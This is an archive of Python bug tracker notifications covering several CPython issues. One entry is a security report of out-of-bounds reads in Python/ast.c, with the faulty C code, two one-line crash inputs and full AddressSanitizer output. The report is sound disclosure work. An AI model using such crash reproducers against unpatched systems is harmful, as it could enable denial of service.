My initial idea was to add a lightweight module cachesreg with two functions: register() and clear_caches(). PR 12639 implements it.

But I like Brett's idea more, because it is simpler. The only disadvantage of it is that if you make a typo in __clearcache__, this function will be silently ignored.

I thought also about different levels of cachesreg.cachesreg.register() could take two arguments -- the level and the clearing function. Then cachesreg.clear_caches() could allow to clear only caches of specified level and smaller/larger.

Both PRs add clearing callbacks only for modules which already cleared in regrtests. There are more caches, and with implementing any of these ideas it will be easier to add clearing caches in other modules.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sun Mar 31 05:11:48 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 09:11:48 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1554023508.77.0.0749448165191.issue36485@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12571

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sun Mar 31 05:47:58 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 31 Mar 2019 09:47:58 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1554025678.36.0.0576495837309.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Thanks to the discussion that rhettinger triggered on python-dev, it seems that there is a majority accordance for considering the previous ordering "undefined but deterministic" rather than "sorted", and for making the change from "arbitrarily sorted" to "user defined" in Py3.8. That matches the current status after the merge of the four pull requests, for both ElementTree and MiniDOM.

There also seems to be a large fraction of participants that would like to see a stdlib way to safely/correctly/easily compare XML output. IMHO, that is covered by issue13611, adding a C14N module to ElementTree. There is also a (Py2) C14N implementation for minidom, from the now unmaintained PyXML package?, which, according to the license, is already distributed under Python copyright. I will try to bring at least the ET module in shape for integration before 3.8 beta1.

During the discussions, several ways were shown to achieve deterministic behaviour, also across Python releases. My proposal is therefore to *not* add a new "sort_attrs" option to the API, with the reasoning that it is a) not required for any of the use cases, b) not maintaining compatibility without code changes (neither backwards nor forward), and c) not what most people actually want who strive for deterministic output. Instead, I think we should concentrate on providing and documenting better ways to compare XML output.

? https://github.com/actmd/PyXML/blob/97f144152878a67cd95dd229fe72e86f19bce706/xml/dom/ext/c14n.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sun Mar 31 05:54:37 2019
From: report at bugs.python.org (Thomas Perl)
Date: Sun, 31 Mar 2019 09:54:37 +0000
Subject: [issue36473] dictkeysobject: Add maximum iteration check for
 .values() and .items()
In-Reply-To: <1553868978.85.0.786754565606.issue36473@roundup.psfhosted.org>
Message-ID: <1554026077.78.0.537387915214.issue36473@roundup.psfhosted.org>


Thomas Perl <th.perl at gmail.com> added the comment:

Repurposing this as per:

https://github.com/python/cpython/pull/12619#issuecomment-478076996

----------
title: Detect all dictionary changes during iteration -> dictkeysobject: Add maximum iteration check for .values() and .items()

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36473>
_______________________________________

From report at bugs.python.org  Sun Mar 31 06:08:16 2019
From: report at bugs.python.org (Hiroaki Kawai)
Date: Sun, 31 Mar 2019 10:08:16 +0000
Subject: [issue18233] SSLSocket.getpeercertchain()
In-Reply-To: <1371415195.44.0.636993698614.issue18233@psf.upfronthosting.co.za>
Message-ID: <1554026896.61.0.633450270683.issue18233@roundup.psfhosted.org>


Change by Hiroaki Kawai <hiroaki.kawai at gmail.com>:


----------
nosy: +Hiroaki.Kawai

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18233>
_______________________________________

From report at bugs.python.org  Sun Mar 31 08:11:33 2019
From: report at bugs.python.org (=?utf-8?q?Anders_Hovm=C3=B6ller?=)
Date: Sun, 31 Mar 2019 12:11:33 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1554034293.81.0.915742045463.issue36485@roundup.psfhosted.org>


Anders Hovm?ller <boxed at killingar.net> added the comment:

I think this is a great idea. We would have needed this many times for tests over the years.

----------
nosy: +Anders.Hovm?ller

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sun Mar 31 08:39:05 2019
From: report at bugs.python.org (Ma Lin)
Date: Sun, 31 Mar 2019 12:39:05 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1554035945.45.0.0694277235854.issue36485@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

> My initial idea was to add a lightweight module cachesreg with two functions: register() and clear_caches().

If it only has two functions, it could be a sub-module sys.cachesreg

Or a lifecycle module, as the name, dedicated to such kind of functions. Register callback functions for memory low, poweroff system, etc.
I don't want lifecycle module, just provide a possibility.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sun Mar 31 08:59:09 2019
From: report at bugs.python.org (Toon Verstraelen)
Date: Sun, 31 Mar 2019 12:59:09 +0000
Subject: [issue28718] '*' matches entire path in fnmatch
In-Reply-To: <1479327127.15.0.931047394142.issue28718@psf.upfronthosting.co.za>
Message-ID: <1554037149.38.0.566454987192.issue28718@roundup.psfhosted.org>


Toon Verstraelen <toon.verstraelen at gmail.com> added the comment:

Just for reference, here are a few more implementations of the same idea, next to pywildcard, sometimes combined with other useful features:

- https://github.com/LawfulHacker/fnmatch2
- https://github.com/demurgos/py-pathmatch
- https://github.com/vidartf/globmatch
- https://github.com/facelessuser/wcmatch

The last one is rather active, with regular releases, last one on March 24, 2019.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28718>
_______________________________________

From report at bugs.python.org  Sun Mar 31 09:10:06 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 31 Mar 2019 13:10:06 +0000
Subject: [issue36493] Add math.midpoint(a,b) function
Message-ID: <1554037806.92.0.427188886689.issue36493@roundup.psfhosted.org>


New submission from Stefan Behnel <stefan_ml at behnel.de>:

I recently read a paper? about the difficulty of calculating the most exact midpoint between two floating point values, facing overflow, underflow and rounding errors. The intention is to assure that the midpoint(a,b) is

- actually within the interval [a,b]
- the floating point number in that interval that is closest to the real midpoint (i.e. (a+b)/2).

It feels like a function that should be part of Python's math module.

? https://hal.archives-ouvertes.fr/file/index/docid/576641/filename/computing-midpoint.pdf

The author proposes the following implementation (pages 20/21):

midpoint(a,b) = 
    a  if a == b else             # covers midpoint(inf, inf)
    0  if a == -b else            # covers midpoint(-inf, +inf)
    -realmax  if a == -inf else   # min. double value
    +realmax  if b == +inf else   # max. double value
    round_to_nearest_even((a - a/2) + b/2)

I guess nans should simply pass through as in other functions, i.e. midpoint(a,nan) == midpoint(nan,b) == nan.

The behaviour for [a,inf] is decidedly up for discussion. There are certainly cases where midpoint(a,+inf) would best return +inf, but +realmax as an actual finite value also seems reasonable. OTOH, it's easy for users to promote inf->realmax or realmax->inf or even inf->a themselves, just like it's easy to check for +/-inf before calling the function. It just takes a bit longer to do these checks on user side. There could also be a "mode" argument that makes it return one of: a or b (i.e. the finite bound), +/-realmax or +/-inf in the two half-infinity cases.

What do you think about this addition?

----------
components: Library (Lib)
messages: 339257
nosy: mark.dickinson, rhettinger, scoder, stutzbach
priority: normal
severity: normal
status: open
title: Add math.midpoint(a,b) function
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36493>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:01:59 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 14:01:59 +0000
Subject: [issue36253] Use after free in ctypes test suite
In-Reply-To: <1552176520.99.0.273814604607.issue36253@roundup.psfhosted.org>
Message-ID: <1554040919.52.0.559180050835.issue36253@roundup.psfhosted.org>


Brad Larsen <brad.larsen at gmail.com> added the comment:

I was just going to submit a patch for this, then I found this issue.

I can confirm; I see the same use-after-free without the fix.

----------
nosy: +blarsen

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36253>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:25:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 14:25:01 +0000
Subject: [issue36440] more helpful diagnostics for parser module
In-Reply-To: <1553614408.8.0.416681237128.issue36440@roundup.psfhosted.org>
Message-ID: <1554042301.07.0.472819586565.issue36440@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
versions: +Python 3.8 -Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36440>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:28:51 2019
From: report at bugs.python.org (daniel hahler)
Date: Sun, 31 Mar 2019 14:28:51 +0000
Subject: [issue36494] bdb: should set f_trace_lines = True
Message-ID: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

bdb.Bdb.set_trace should set "f_trace_lines = True" on frames explicitly.

Otherwise they might be skipped if something else has set it to False already, e.g. via a suggested change for coverage.py to set this for performance reasons (https://github.com/nedbat/coveragepy/pull/791).

----------
messages: 339259
nosy: blueyed
priority: normal
severity: normal
status: open
title: bdb: should set f_trace_lines = True
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36494>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:32:20 2019
From: report at bugs.python.org (daniel hahler)
Date: Sun, 31 Mar 2019 14:32:20 +0000
Subject: [issue36494] bdb: should set f_trace_lines = True
In-Reply-To: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org>
Message-ID: <1554042740.25.0.585291609231.issue36494@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
keywords: +patch
pull_requests: +12572
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36494>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:39:12 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 14:39:12 +0000
Subject: [issue28559] Unclear error message when raising wrong type of
 exceptions
In-Reply-To: <1477764991.61.0.67228056749.issue28559@psf.upfronthosting.co.za>
Message-ID: <1554043152.68.0.194860162968.issue28559@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28559>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:52:52 2019
From: report at bugs.python.org (Brad Larsen)
Date: Sun, 31 Mar 2019 14:52:52 +0000
Subject: [issue36495] Out-of-bounds array reads in Python/ast.c
Message-ID: <1554043972.42.0.422033771745.issue36495@roundup.psfhosted.org>


New submission from Brad Larsen <brad.larsen at gmail.com>:

There are currently 2 places in Python/ast.c on master where an out-of-bounds
array read can occur.

Both were introduced with the merge of of typed_ast into CPython in commit
dcfcd146f8e6fc5c2fc16a4c192a0c5f5ca8c53c (bpo-35766, GH-11645).

In both places, the out-of-bounds array read occurs when an index variable is
incremented, then used before checking that it is still valid.

The first out-of-bounds read, in `handle_keywordonly_args()`, around line 1403:

    case vfpdef:
    case tfpdef:
        if (i + 1 < NCH(n) && TYPE(CHILD(n, i + 1)) == EQUAL) {
            expression = ast_for_expr(c, CHILD(n, i + 2));
            if (!expression)
                goto error;
            asdl_seq_SET(kwdefaults, j, expression);
            i += 2; /* '=' and test */
        }
        else { /* setting NULL if no default value exists */
            asdl_seq_SET(kwdefaults, j, NULL);
        }
        if (NCH(ch) == 3) {
            /* ch is NAME ':' test */
            annotation = ast_for_expr(c, CHILD(ch, 2));
            if (!annotation)
                goto error;
        }
        else {
            annotation = NULL;
        }
        ch = CHILD(ch, 0);
        argname = NEW_IDENTIFIER(ch);
        if (!argname)
            goto error;
        if (forbidden_name(c, argname, ch, 0))
            goto error;
        arg = arg(argname, annotation, NULL, LINENO(ch), ch->n_col_offset,
                  ch->n_end_lineno, ch->n_end_col_offset,
                  c->c_arena);
        if (!arg)
            goto error;
        asdl_seq_SET(kwonlyargs, j++, arg);
        i += 1; /* the name */
        if (TYPE(CHILD(n, i)) == COMMA)           /* HERE, OOB read */
            i += 1; /* the comma, if present */
        break;

The second out-of-bounds read, in `ast_for_arguments()`, around line 1602:

    /* ... */
    case DOUBLESTAR:
        ch = CHILD(n, i+1);  /* tfpdef */
        assert(TYPE(ch) == tfpdef || TYPE(ch) == vfpdef);
        kwarg = ast_for_arg(c, ch);
        if (!kwarg)
            return NULL;
        i += 2; /* the double star and the name */
        if (TYPE(CHILD(n, i)) == COMMA)           /* HERE, OOB read */
            i += 1; /* the comma, if present */
        break;
    /* ... */

You might see these out-of-bounds reads as crashes at various points during the
build process if you configure as so:

    $ clang --version
    clang version 8.0.0 (tags/RELEASE_800/final)
    Target: x86_64-unknown-linux-gnu
    Thread model: posix
    InstalledDir: /usr/local/bin

    $ clang++ --version
    clang version 8.0.0 (tags/RELEASE_800/final)
    Target: x86_64-unknown-linux-gnu
    Thread model: posix
    InstalledDir: /usr/local/bin

    $ export ASAN_OPTIONS=detect_leaks=0 CC=clang CXX=clang++
    $ ./configure --with-address-sanitizer --without-pydebug

    $ make   # might fail partway through, but a python binary should still be produced

Finally, to see crashes from the out-of-bounds reads:

    $ ./python.exe -c 'def foo(f, *args, kw=None): pass'
    =================================================================
    ==59698==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x613000006740 at pc 0x0000009aff20 bp 0x7ffe94660260 sp 0x7ffe94660258
    READ of size 2 at 0x613000006740 thread T0
        #0 0x9aff1f in handle_keywordonly_args /cpython/Python/ast.c:1403:21
        #1 0x9af034 in ast_for_arguments /cpython/Python/ast.c:1588:31
        #2 0x9bb174 in ast_for_funcdef_impl /cpython/Python/ast.c:1748:12
        #3 0x99ce99 in PyAST_FromNodeObject /cpython/Python/ast.c:806:25
        #4 0x7bc4a2 in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1216:15
        #5 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #6 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #7 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #8 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #9 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #10 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #11 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #12 0x7f62e8f92b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
        #13 0x437729 in _start (/cpython/python.exe+0x437729)

    0x613000006740 is located 0 bytes to the right of 384-byte region [0x6130000065c0,0x613000006740)
    allocated by thread T0 here:
        #0 0x4e34ef in realloc /tmp/tmp.XYTE7P6bCb/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:165:3
        #1 0x8fa635 in PyNode_AddChild /cpython/Parser/node.c:120:22
        #2 0x9d16f6 in shift /cpython/Parser/parser.c:114:11
        #3 0x9d16f6 in PyParser_AddToken /cpython/Parser/parser.c:285
        #4 0x8fbee3 in parsetok /cpython/Parser/parsetok.c:332:14
        #5 0x7bc44a in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1206:15
        #6 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #7 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #8 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #9 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #10 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #11 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #12 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #13 0x7f62e8f92b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

    SUMMARY: AddressSanitizer: heap-buffer-overflow /cpython/Python/ast.c:1403:21 in handle_keywordonly_args
    Shadow bytes around the buggy address:
      0x0c267fff8c90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x0c267fff8ca0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
      0x0c267fff8cb0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c267fff8cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c267fff8ce0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
      0x0c267fff8cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c267fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c267fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==59698==ABORTING

    $ ./python.exe -c 'def foo(f, **kws): pass'
    =================================================================
    ==59696==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61000001cc00 at pc 0x0000009af45c bp 0x7fff799ca580 sp 0x7fff799ca578
    READ of size 2 at 0x61000001cc00 thread T0
        #0 0x9af45b in ast_for_arguments /cpython/Python/ast.c:1602:21
        #1 0x9bb174 in ast_for_funcdef_impl /cpython/Python/ast.c:1748:12
        #2 0x99ce99 in PyAST_FromNodeObject /cpython/Python/ast.c:806:25
        #3 0x7bc4a2 in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1216:15
        #4 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #5 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #6 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #7 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #8 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #9 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #10 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #11 0x7f0c78595b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
        #12 0x437729 in _start (/cpython/python.exe+0x437729)

    0x61000001cc00 is located 0 bytes to the right of 192-byte region [0x61000001cb40,0x61000001cc00)
    allocated by thread T0 here:
        #0 0x4e34ef in realloc /tmp/tmp.XYTE7P6bCb/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:165:3
        #1 0x8fa635 in PyNode_AddChild /cpython/Parser/node.c:120:22
        #2 0x9d16f6 in shift /cpython/Parser/parser.c:114:11
        #3 0x9d16f6 in PyParser_AddToken /cpython/Parser/parser.c:285
        #4 0x8fbee3 in parsetok /cpython/Parser/parsetok.c:332:14
        #5 0x7bc44a in PyParser_ASTFromStringObject /cpython/Python/pythonrun.c:1206:15
        #6 0x7ba4cf in PyRun_StringFlags /cpython/Python/pythonrun.c:963:11
        #7 0x7ba422 in PyRun_SimpleStringFlags /cpython/Python/pythonrun.c:461:9
        #8 0x512c5e in pymain_run_command /cpython/Modules/main.c:220:11
        #9 0x512c5e in pymain_run_python /cpython/Modules/main.c:501
        #10 0x512c5e in _Py_RunMain /cpython/Modules/main.c:583
        #11 0x5144e2 in pymain_main /cpython/Modules/main.c:612:12
        #12 0x51485f in _Py_UnixMain /cpython/Modules/main.c:636:12
        #13 0x7f0c78595b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

    SUMMARY: AddressSanitizer: heap-buffer-overflow /cpython/Python/ast.c:1602:21 in ast_for_arguments
    Shadow bytes around the buggy address:
      0x0c207fffb930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x0c207fffb940: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb960: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c207fffb980:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb9a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c207fffb9b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c207fffb9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c207fffb9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==59696==ABORTING

----------
components: Build, Interpreter Core
messages: 339260
nosy: blarsen
priority: normal
severity: normal
status: open
title: Out-of-bounds array reads in Python/ast.c
type: security
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36495>
_______________________________________

From report at bugs.python.org  Sun Mar 31 10:57:19 2019
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 31 Mar 2019 14:57:19 +0000
Subject: [issue36495] Out-of-bounds array reads in Python/ast.c
In-Reply-To: <1554043972.42.0.422033771745.issue36495@roundup.psfhosted.org>
Message-ID: <1554044239.4.0.871050398348.issue36495@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12573
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36495>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:02:36 2019
From: report at bugs.python.org (SilentGhost)
Date: Sun, 31 Mar 2019 15:02:36 +0000
Subject: [issue36495] Out-of-bounds array reads in Python/ast.c
In-Reply-To: <1554043972.42.0.422033771745.issue36495@roundup.psfhosted.org>
Message-ID: <1554044556.19.0.693881281954.issue36495@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +gvanrossum
versions:  -Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36495>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:05:43 2019
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 31 Mar 2019 15:05:43 +0000
Subject: [issue35272] sqlite3 get the connected database url
In-Reply-To: <1542548166.85.0.788709270274.issue35272@psf.upfronthosting.co.za>
Message-ID: <1554044743.91.0.18173474039.issue35272@roundup.psfhosted.org>


Change by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35272>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:09:36 2019
From: report at bugs.python.org (daniel hahler)
Date: Sun, 31 Mar 2019 15:09:36 +0000
Subject: [issue36494] bdb.Bdb.set_trace: should set f_trace_lines = True
In-Reply-To: <1554042531.73.0.914325341354.issue36494@roundup.psfhosted.org>
Message-ID: <1554044976.87.0.458058390868.issue36494@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
components: +Library (Lib)
title: bdb: should set f_trace_lines = True -> bdb.Bdb.set_trace: should set f_trace_lines = True
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36494>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:36:55 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 31 Mar 2019 15:36:55 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1554046615.47.0.580956612259.issue36466@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

There's a similar thing with docstrings though. Some code depend on docstrings (e.g. David Beazley's parser generator). help() of course also depends on it. And yet we have a way to disable it. (Same with asserts, plenty of code depends on them even though we recommend against it.)

So as long as we have a separate mechanism to disable this I'm not worried -- it's up to the person that runs the program to ensure that they don't use functionality that breaks when annotations are suppressed.

(Note that functools.singledispatch has an alternate registration syntax that doesn't require annotations.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:57:51 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 15:57:51 +0000
Subject: [issue36442] Different ValueError for the same operation in List and
 Tuple
In-Reply-To: <1553620284.92.0.688954440948.issue36442@roundup.psfhosted.org>
Message-ID: <1554047871.83.0.262822436782.issue36442@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thus is definitely is not related to Argument Clinic.

And seems that this issue is a duplicate of an old issue with a long discussion and an unfinished patch, but currently I cannot find that issue.

----------
components:  -Argument Clinic
type: behavior -> enhancement
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36442>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:59:45 2019
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 31 Mar 2019 15:59:45 +0000
Subject: [issue32531] gdb.execute can not put string value.
In-Reply-To: <1515648246.66.0.467229070634.issue32531@psf.upfronthosting.co.za>
Message-ID: <1554047985.02.0.376840342833.issue32531@roundup.psfhosted.org>


Berker Peksag <berker.peksag at gmail.com> added the comment:

gdb.execute() is part of GDB's Python API and maintained by GDB maintainers. This tracker is for issues with Python interpreter and its standard library.

----------
nosy: +berker.peksag
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32531>
_______________________________________

From report at bugs.python.org  Sun Mar 31 11:59:50 2019
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 31 Mar 2019 15:59:50 +0000
Subject: [issue32531] gdb.execute can not put string value.
In-Reply-To: <1515648246.66.0.467229070634.issue32531@psf.upfronthosting.co.za>
Message-ID: <1554047990.33.0.311515063495.issue32531@roundup.psfhosted.org>


Change by Berker Peksag <berker.peksag at gmail.com>:


----------
hgrepos:  -377

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32531>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:00:17 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 16:00:17 +0000
Subject: [issue35947] Update libffi_msvc to current version of libffi
In-Reply-To: <1549665646.45.0.12391127948.issue35947@roundup.psfhosted.org>
Message-ID: <1554048017.52.0.693562754718.issue35947@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 48600c72c1afe1096c2412a135a43f8cdd895195 by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-35947: Fix a compiler warning in _ctypes.c's StructUnionType_paramfunc(). (GH-12629)
https://github.com/python/cpython/commit/48600c72c1afe1096c2412a135a43f8cdd895195


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35947>
_______________________________________

From report at bugs.python.org  Sun Mar 31 12:02:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 16:02:13 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1554048133.56.0.300708261803.issue36150@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 5f2c50810a67982b0c80f6d3258fee3647f67005 by Serhiy Storchaka (Zackery Spytz) in branch 'master':
bpo-36150: Fix possible assertion failures due to _ctypes.c's PyCData_reduce(). (GH-12106)
https://github.com/python/cpython/commit/5f2c50810a67982b0c80f6d3258fee3647f67005


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

